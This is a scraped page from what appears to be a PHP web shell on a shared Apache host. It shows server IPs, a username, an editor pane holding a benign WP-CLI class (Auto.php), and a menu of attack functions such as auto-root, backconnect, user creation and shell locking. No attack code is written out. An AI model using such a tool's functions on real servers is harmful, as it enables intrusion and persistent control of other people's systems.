Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
php /
WP_CLI /
Context /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin.php
3.97
KB
-rw-r--r--
Auto.php
1.93
KB
-rw-r--r--
Cli.php
408
B
-rw-r--r--
Frontend.php
426
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Auto.php
<?php namespace WP_CLI\Context; use WP_CLI; use WP_CLI\Context; use WP_CLI\ContextManager; /** * Context which switches to other contexts automatically based on conditions. */ final class Auto implements Context { /** * Array of commands to intercept. * * @var array<array> */ const COMMANDS_TO_RUN_AS_ADMIN = [ [ 'plugin' ], [ 'theme' ], ]; /** * Context manager instance to use. * * @var ContextManager */ private $context_manager; /** * Instantiate an Auto object. * * @param ContextManager $context_manager Context manager instance to use. */ public function __construct( ContextManager $context_manager ) { $this->context_manager = $context_manager; } /** * Process the context to set up the environment correctly. * * @param array $config Associative array of configuration data. * @return void * @throws WP_CLI\ExitException If an invalid context was deduced. */ public function process( $config ) { $config['context'] = $this->deduce_best_context(); $this->context_manager->switch_context( $config ); } /** * Deduce the best context to run the current command in. * * @return string Context to use. */ private function deduce_best_context() { if ( $this->is_command_to_run_as_admin() ) { return Context::ADMIN; } return Context::CLI; } /** * Check whether the current WP-CLI command is amongst those we want to * run as admin. * * @return bool Whether the current command should be run as admin. */ private function is_command_to_run_as_admin() { $command = WP_CLI::get_runner()->arguments; foreach ( self::COMMANDS_TO_RUN_AS_ADMIN as $command_to_run_as_admin ) { if ( array_slice( $command, 0, count( $command_to_run_as_admin ) ) === $command_to_run_as_admin ) { WP_CLI::debug( 'Detected a command to be intercepted: ' . implode( ' ', $command ), Context::DEBUG_GROUP ); return true; } } return false; } }
Close